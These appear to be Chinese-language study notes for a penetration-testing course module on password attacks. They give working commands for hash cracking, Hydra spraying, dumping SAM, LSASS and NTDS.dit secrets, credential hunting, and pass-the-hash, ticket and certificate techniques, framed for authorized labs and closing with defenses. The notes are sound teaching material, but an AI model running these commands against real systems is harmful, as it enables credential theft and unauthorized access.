模块:Password Attacks(26 小节)
定位:在已授权的实验环境中,识别、获取、破解和复用凭据。本文按“原理 → 离线破解 → 远程服务 → Windows/Linux 凭据 → 票据与证书 → 防护”的顺序重新整理,不是网页逐句翻译。
0. 学习路线与实验边界
本章的核心不是“记住一串命令”,而是建立一条可复用的判断链:
- 判断凭据来自哪里:文件、注册表、进程内存、目录数据库、网络流量或共享目录。
- 判断材料类型:明文密码、密码哈希、Kerberos 票据、证书/私钥或密码库。
- 决定攻击方式:离线破解、在线猜测,或在无法破解时直接传递哈希/票据/证书。
- 根据目标策略构造字典与规则,而不是无差别暴力破解。
- 验证凭据的权限范围和复用范围,并记录证据与风险。
课程建议的基础能力:Linux 命令行、Windows 基础和 Bash 脚本。所有口令喷洒、远程登录与凭据导出操作都只能用于明确授权的靶场或测试范围。
1. Introduction:身份验证与密码风险
1.1 四类身份验证因素
- 所知:密码、PIN、口令。
- 所有:智能卡、手机、可信设备。
- 所是:指纹、面部、虹膜、声音等生物特征。
- 所在:地理位置、IP 地址等环境因素。
身份验证回答“你是谁”,授权回答“验证身份后你能做什么”。密码仍是最常见的身份验证手段,但弱口令、重复使用和泄露后不更换,使一次凭据泄露可能扩散到多个平台。
1.2 本章关注点
- 密码在操作系统和应用中的存储方式。
- 如何取得可供分析的凭据材料。
- 如何选择 John the Ripper、Hashcat 或协议工具。
- 无法恢复明文时,如何理解哈希、票据和证书的直接复用。
2. Introduction to Password Cracking:密码破解基础
2.1 编码、加密与哈希
类型 目的 是否可逆 典型判断 编码 表示/传输数据 是 不需要密钥,如 Base64 加密 保密 是 需要正确密钥或口令 哈希 完整性与单向验证 通常否 对候选明文计算摘要并比较
密码破解并不是“解密哈希”,而是不断生成候选密码、按相同算法计算后与目标摘要比较。成功率由口令质量、字典针对性、哈希算法成本和硬件能力共同决定。
2.2 在线与离线攻击
- 在线攻击:向真实服务提交用户名/密码;受限于网络、锁定策略和告警系统。
- 离线攻击:已获得哈希或加密文件后本地尝试;速度快、不会触发目标登录锁定,但前提是取得材料。
优先策略:先查默认凭据和已泄露口令,再做小规模、高相关性的猜测,最后才考虑大字典或掩码。
3. Introduction to John the Ripper
3.1 使用场景与前置条件
John 适合自动识别常见哈希,以及破解经 *2john 转换的压缩包、SSH 私钥和文档。首次使用前确认工具可执行并准备字典:
john --help
ls /usr/share/wordlists/
基本流程:准备哈希文件 → 指定格式(必要时)→ 运行字典/规则 → 查看结果。
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --format=<FORMAT> --wordlist=<WORDLIST> hash.txt
john --show hash.txt
3.2 常用模式
# 单词列表攻击
john --wordlist=wordlist.txt hashes.txt
# 使用 John 规则扩展候选词
john --wordlist=wordlist.txt --rules hashes.txt
# 增量模式(候选空间可能很大)
john --incremental hashes.txt
注意:格式识别不确定时先查看 John 的提示;同一字符串可能匹配多种哈希外观,格式选错会导致速度或结果异常。
4. Introduction to Hashcat
4.1 使用场景与首次检查
Hashcat 适合 GPU/CPU 高性能离线破解。使用前确认:
- 已取得合法的哈希材料;
- 已识别哈希模式编号;
- 字典、规则或掩码与密码策略相符;
- 驱动与计算设备能被 Hashcat 识别。
hashcat --version
hashcat -I
hashcat --help | less
通用语法:
hashcat -m <HASH_MODE> -a <ATTACK_MODE> <HASH_FILE> <CANDIDATES>
4.2 课程中的核心攻击方式
# 字典攻击(-a 0)
hashcat -m <MODE> -a 0 hashes.txt wordlist.txt
# 字典 + 规则
hashcat -m <MODE> -a 0 hashes.txt wordlist.txt -r rules.rule
# 掩码攻击(-a 3)
hashcat -m <MODE> -a 3 hashes.txt '?u?l?l?l?l?d?d?d'
# 显示已破解结果
hashcat -m <MODE> hashes.txt --show
内置字符集:?l 小写、?u 大写、?d 数字、?s 特殊字符、?a 全部常用字符。不要在不了解策略时直接使用超大 ?a 空间。
5. Writing Custom Wordlists and Rules
高质量字典来自目标信息,而不是盲目扩大文件:组织名、产品名、地点、季节、年份、部门、用户名模式和已知密码结构都可组合成基础词。
5.1 使用 CeWL 构造网站相关词表
cewl https://<TARGET> -d 4 -m 6 --lowercase -w custom.txt
sort -u custom.txt -o custom.txt
- -d:爬取深度。
- -m:最短单词长度。
- -w:输出文件。
5.2 Hashcat 规则
规则用于模拟用户常见变形,例如首字母大写、末尾追加年份或特殊字符。
hashcat --force wordlist.txt -r custom.rule --stdout > mutated.txt
示意规则:
c
$1 $9 $9 $0
$!
先用 --stdout 检查候选是否符合预期,再投入破解,可避免规则爆炸。
6. Cracking Protected Files
受保护文件通常需要先转换成 John/Hashcat 可识别的中间哈希。
6.1 SSH 私钥
ssh2john.py id_rsa > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
john --show ssh.hash
恢复口令后,使用私钥前通常还需设置严格权限:
chmod 600 id_rsa
ssh -i id_rsa <USER>@<TARGET>
6.2 Office 与 PDF
office2john.py protected.docx > office.hash
john --wordlist=/usr/share/wordlists/rockyou.txt office.hash
pdf2john.py protected.pdf > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
关键点:*2john 工具提取的是可供离线验证的材料,并不会直接输出明文密码。
7. Cracking Protected Archives
7.1 ZIP、RAR 与 7-Zip
zip2john protected.zip > zip.hash
rar2john protected.rar > rar.hash
7z2john.pl protected.7z > 7z.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt rar.hash
john --wordlist=/usr/share/wordlists/rockyou.txt 7z.hash
破解后再用相应解压工具验证。多层归档要逐层判断文件类型:
file <FILE>
7z l <ARCHIVE>
不要只依据扩展名;实验中可能使用改名或嵌套文件。
8. Network Services
8.1 前置条件
- 已确认服务、端口和允许的认证方式。
- 拥有用户列表、密码列表或单个已知字段。
- 已理解账户锁定和速率限制;优先低速、小范围验证。
Hydra 的基本结构:
hydra -L users.txt -P passwords.txt <PROTOCOL>://<TARGET>
hydra -l <USER> -P passwords.txt ssh://<TARGET>
hydra -L users.txt -p '<PASSWORD>' <PROTOCOL>://<TARGET>
常见协议包括 SSH、FTP、RDP、SMB 和 HTTP 表单,但模块强调先确认服务语法;Web 表单还需正确指定请求路径、字段和失败标志。
结果判断:成功记录代表服务接受了凭据,仍需单独登录验证权限,不能把“认证成功”等同于管理员权限。
9. Spraying, Stuffing, and Defaults
9.1 三种策略
- Password spraying:少量常见密码依次尝试大量用户,降低单账户快速锁定概率。
- Credential stuffing:把其他来源已泄露的用户名/密码组合用于目标服务。
- Default credentials:检查设备、应用或服务的默认账户。
喷洒的关键是先获取密码策略,尤其是锁定阈值与观察窗口。示例:
# 单个密码对应多个用户
hydra -L users.txt -p 'Welcome1!' ssh://<TARGET>
# NetExec/CME 风格的 SMB 验证
netexec smb <TARGET> -u users.txt -p 'Welcome1!' --continue-on-success
不要对同一账户快速遍历长密码表;那是暴力破解,不是口令喷洒。
10. Windows Authentication Process
Windows 本地身份验证的关键组件包括:
- SAM:保存本地账户的密码哈希。
- SYSTEM:包含解密 SAM 中秘密所需的系统材料。
- SECURITY:可包含 LSA Secrets、缓存域凭据等。
- LSASS:处理登录会话和认证包,内存中可能存在哈希、票据或可恢复凭据。
- AD DS / NTDS.dit:域账户数据库。
理解这一流程后,工具选择会更清楚:磁盘/注册表材料面向 SAM、SYSTEM、SECURITY;活动会话材料面向 LSASS;域控制器材料面向 NTDS.dit。
11. Attacking SAM, SYSTEM, and SECURITY
11.1 前置权限
通常需要本地管理员或等效高权限才能保存注册表配置单元。
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
将文件安全传回分析机后:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
输出可能包含本地 NTLM 哈希、缓存域凭据和 LSA Secrets。NTLM 形态通常为:
username:RID:LM_HASH:NT_HASH:::
LM 字段常为固定空值;实际关注 NT 哈希及账户身份。
12. Attacking LSASS
12.1 取得转储
需要足够权限访问 LSASS。课程思路是先生成进程转储,再离线分析,以减少直接在目标上执行复杂工具的时间。
tasklist /svc
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\lsass.dmp full
12.2 使用 Pypykatz 分析
pypykatz lsa minidump lsass.dmp
重点查看:登录会话、用户名/域、NT 哈希、Kerberos 密钥和可能存在的明文材料。现代 Windows 的安全设置可能使明文密码不可见,这并不意味着转储没有价值。
13. Attacking Windows Credential Manager
Credential Manager 使用 Windows Vault 保存 Web 或 Windows 凭据;cmdkey 可列出当前用户可见的已保存目标:
cmdkey /list
已保存凭据可能允许在不显示密码的情况下启动目标进程:
runas /savecred /user:<DOMAIN\USER> cmd.exe
也可使用支持 Vault/DPAPI 提取的工具分析凭据。关键限制是用户上下文与 DPAPI 保护:看见条目不等于一定能取得明文,但仍可能被直接用于认证。
14. Attacking Active Directory and NTDS.dit
NTDS.dit 保存域对象与域账户哈希。常见思路有两类:
14.1 从卷影副本取得数据库
vssadmin CREATE SHADOW /For=C:
随后复制 NTDS.dit,并同时取得 SYSTEM 配置单元;缺少 SYSTEM 文件通常无法正确解密数据库秘密。
14.2 使用 Impacket 远程导出
impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP>
需要具备相应目录复制权限。输出中的域 NTLM 哈希既可尝试离线破解,也可能用于后续 Pass-the-Hash。
15. Credential Hunting in Windows
搜索重点:配置文件、脚本、无人值守安装文件、PowerShell 历史、浏览器/应用数据和文件名中的凭据线索。
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
where /R C:\ *.config
where /R C:\ *pass*.txt
PowerShell:
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern 'password|passwd|pwd|credential'
(Get-PSReadLineOption).HistorySavePath
先从当前用户目录、应用目录和管理员脚本目录开始,避免一开始全盘搜索产生大量噪声。
16. Linux Authentication Process
关键文件:
- /etc/passwd:账户元数据,现代系统通常不存放实际密码哈希。
- /etc/shadow:密码哈希与有效期,仅特权用户可读。
- /etc/group、/etc/gshadow:组信息及受保护组数据。
- /etc/security/opasswd:部分策略环境中的历史密码材料。
Shadow 字段通常包含算法标识、盐和摘要。离线破解前可组合 passwd 与 shadow:
unshadow passwd.copy shadow.copy > unshadowed.hashes
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.hashes
17. Credential Hunting in Linux
重点位置包括 shell 历史、环境变量、配置文件、SSH 目录、定时任务、数据库客户端配置和备份。
history
env
find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.xml' \) 2>/dev/null
grep -RniE 'pass(word)?|secret|token|credential' /etc /opt /var/www 2>/dev/null
find /home -type f \( -name 'id_rsa' -o -name 'known_hosts' -o -name '.bash_history' \) 2>/dev/null
还应检查挂载点、备份文件和脚本中的连接字符串。发现私钥时先检查是否加密,再决定直接使用或通过 ssh2john.py 破解口令。
18. Credential Hunting in Network Traffic
前置条件是合法取得 PCAP 或对授权接口进行抓包。先做协议统计,再定位可能明文传输认证信息的协议。
tshark -r capture.pcap -q -z io,phs
tshark -r capture.pcap -Y 'ftp || http || smtp || pop || imap'
tshark -r capture.pcap -Y 'ftp.request.command == USER || ftp.request.command == PASS'
Wireshark 中可使用显示过滤器和 Follow TCP Stream 重建会话。HTTPS、SSH 等加密流量通常不能仅凭抓包直接读取凭据;重点是识别明文协议、错误配置和可导出的认证材料。
19. Credential Hunting in Network Shares
网络共享常存放脚本、配置、部署包、备份和用户文档。流程应是先枚举可访问共享,再按文件名/内容筛选。
smbclient -L //<TARGET> -U '<DOMAIN>/<USER>%<PASSWORD>'
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASSWORD>'
netexec smb <TARGET> -u <USER> -p '<PASSWORD>' --shares
重点检索:password、cred、backup、unattend、web.config、.kdbx、.ps1、.bat。下载和分析只应针对测试范围内的文件。
20. Pass the Hash (PtH)
PtH 使用 NTLM 哈希完成支持 NTLM 的认证,而不需要先恢复明文密码。前提是:
- 已取得正确用户的 NT 哈希;
- 目标允许 NTLM,且账户具备相应远程权限;
- 网络路径、端口与管理服务可达。
impacket-psexec -hashes <LM_HASH>:<NT_HASH> <DOMAIN>/<USER>@<TARGET>
impacket-wmiexec -hashes <LM_HASH>:<NT_HASH> <DOMAIN>/<USER>@<TARGET>
netexec smb <TARGET> -u <USER> -H <NT_HASH>
xfreerdp /v:<TARGET> /u:<USER> /pth:<NT_HASH>
哈希可用不代表所有服务都接受 PtH;Kerberos-only、禁用 NTLM 或缺乏远程管理权限都会导致失败。
21. Pass the Ticket (PtT) from Windows
PtT 复用 Kerberos 票据。常见材料为 .kirbi,或从活动会话提取的 TGT/TGS。
典型流程:列出票据 → 导出 → 注入目标会话 → 访问对应 SPN 的服务。
klist
使用 Rubeus 的课程式工作流:
Rubeus.exe dump
Rubeus.exe ptt /ticket:<TICKET.kirbi>
klist
票据有有效期、域、用户和服务范围;注入成功后仍需用 klist 和实际资源访问验证。
22. Pass the Ticket (PtT) from Linux
Linux 常使用 MIT Kerberos 缓存(ccache)。先寻找环境变量或缓存文件:
env | grep -i KRB5
find /tmp -name 'krb5cc_*' -ls 2>/dev/null
klist
指定缓存后让支持 Kerberos 的工具使用票据:
export KRB5CCNAME=/path/to/ccache
klist
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<HOST_FQDN>
通常应使用能与票据/SPN 匹配的主机名,并确保 DNS 与时间同步正常;Kerberos 对名称和时钟偏差敏感。
23. Pass the Certificate
证书身份验证把私钥作为关键认证材料。若获得包含私钥的 PFX/P12,可用其申请或完成域认证,而不必知道用户密码。
前置条件
- 证书包含可用私钥,且用途允许客户端认证;
- 证书未过期/吊销;
- 目标 PKI/域支持相应认证流程;
- 掌握 PFX 保护口令(若存在)。
课程中常见工具链围绕 Certipy:
certipy auth -pfx <CERTIFICATE.pfx> -dc-ip <DC_IP>
结果可能得到 Kerberos 缓存或 NT 哈希。之后应按得到的材料选择 PtT 或 PtH,而不是继续无意义地破解证书本身。
24. Password Policies
在任何在线猜测前先确认:最短长度、复杂度、历史、最长/最短使用期限、锁定阈值、锁定时长和重置计数窗口。
Windows/域环境示例:
net accounts
net accounts /domain
netexec smb <DC> -u <USER> -p '<PASSWORD>' --pass-pol
Linux 关注 PAM、/etc/login.defs、/etc/security/pwquality.conf 以及 shadow 中的有效期字段。
策略分析的用途不是单纯“绕过复杂度”,而是计算安全的喷洒节奏、推断常见用户变形,并评估策略是否真正降低弱口令风险。
25. Password Managers
密码管理器降低重复使用,但主密码、数据库文件和已解锁会话会形成高价值目标。评估时关注:
- 数据库文件位置与备份副本;
- 主密码强度;
- 是否启用额外密钥/密钥文件;
- 浏览器扩展或桌面客户端是否处于解锁状态;
- 剪贴板、导出文件和自动填充暴露。
KeePass 数据库常见为 .kdbx,可转换后离线测试:
keepass2john database.kdbx > keepass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash
得到主密码后仍应在副本上验证,避免破坏原始证据。
26. Skills Assessment:综合方法
26.1 推荐执行顺序
- 枚举主机、服务、共享与当前权限。
- 搜索明文配置、历史记录、私钥、归档和密码库。
- Windows 侧检查 SAM/SYSTEM/SECURITY、LSASS、Credential Manager 与域材料。
- Linux 侧检查 passwd/shadow、配置、历史、SSH 与备份。
- 对网络流量和共享中的文件做离线分析。
- 识别哈希/加密格式,制作目标相关字典并添加规则。
- 对无法破解的 NTLM、Kerberos 票据或证书,判断能否直接复用。
- 验证访问范围,记录来源、命令、结果和影响。
26.2 快速决策表
已取得材料 首选动作 常用工具 常见哈希 识别模式后字典/规则破解 John、Hashcat 加密 SSH 私钥 转换后离线破解 ssh2john、John Office/PDF/压缩包 *2john 后破解 John NTLM 哈希 先评估 PtH,再决定破解 Impacket、NetExec、Hashcat Kerberos 票据 检查有效期与 SPN 后 PtT Rubeus、klist、Impacket PFX/P12 私钥证书 尝试证书认证 Certipy LSASS 转储 离线解析会话秘密 Pypykatz SAM+SYSTEM+SECURITY 解密本地秘密 secretsdump NTDS.dit+SYSTEM 导出域哈希 secretsdump PCAP 协议筛选与流重组 Wireshark、TShark
附录 A:常见失败原因
- 哈希模式选错:外观相似不代表算法相同。
- 只复制 SAM/NTDS.dit,遗漏 SYSTEM 配置单元。
- 字典与目标策略无关,候选规模巨大但命中率低。
- 在线测试未先确认锁定策略,导致账户被锁。
- Kerberos 使用 IP 而非匹配 SPN 的主机名,或时钟偏差过大。
- PtH 使用了错误的 LM/NT 字段,或目标禁用 NTLM。
- 票据已过期、服务范围不符,或注入到了错误会话。
- PFX 不含私钥、证书用途不符,或仍受未知口令保护。
- 看到 Credential Manager 条目,却忽略 DPAPI 和用户上下文限制。
附录 B:最小化证据记录模板
来源主机/文件:
取得权限与用户上下文:
材料类型:明文 / 哈希 / 票据 / 证书 / 加密文件
识别依据:
使用工具与完整命令:
结果:
验证方式:
可访问范围:
锁定/告警/稳定性风险:
修复建议:
附录 C:防护要点
- 强制唯一且足够长的密码,推广密码管理器和 MFA。
- 禁用或限制 NTLM,保护特权账户并减少可复用本地管理员密码。
- 启用 LSASS 保护、Credential Guard,并限制调试/转储权限。
- 保护域控制器备份、注册表配置单元、密钥和证书私钥。
- 移除脚本、配置、共享和流量中的明文凭据。
- 监控异常登录、口令喷洒、注册表保存、LSASS 访问和目录复制行为。
- 将凭据轮换与泄露响应纳入日常流程,而不是只依赖复杂度规则。
复习主线:先找材料,后识别类型;能离线就避免在线;能小范围验证就不盲目爆破;无法破解时再判断能否传递哈希、票据或证书。
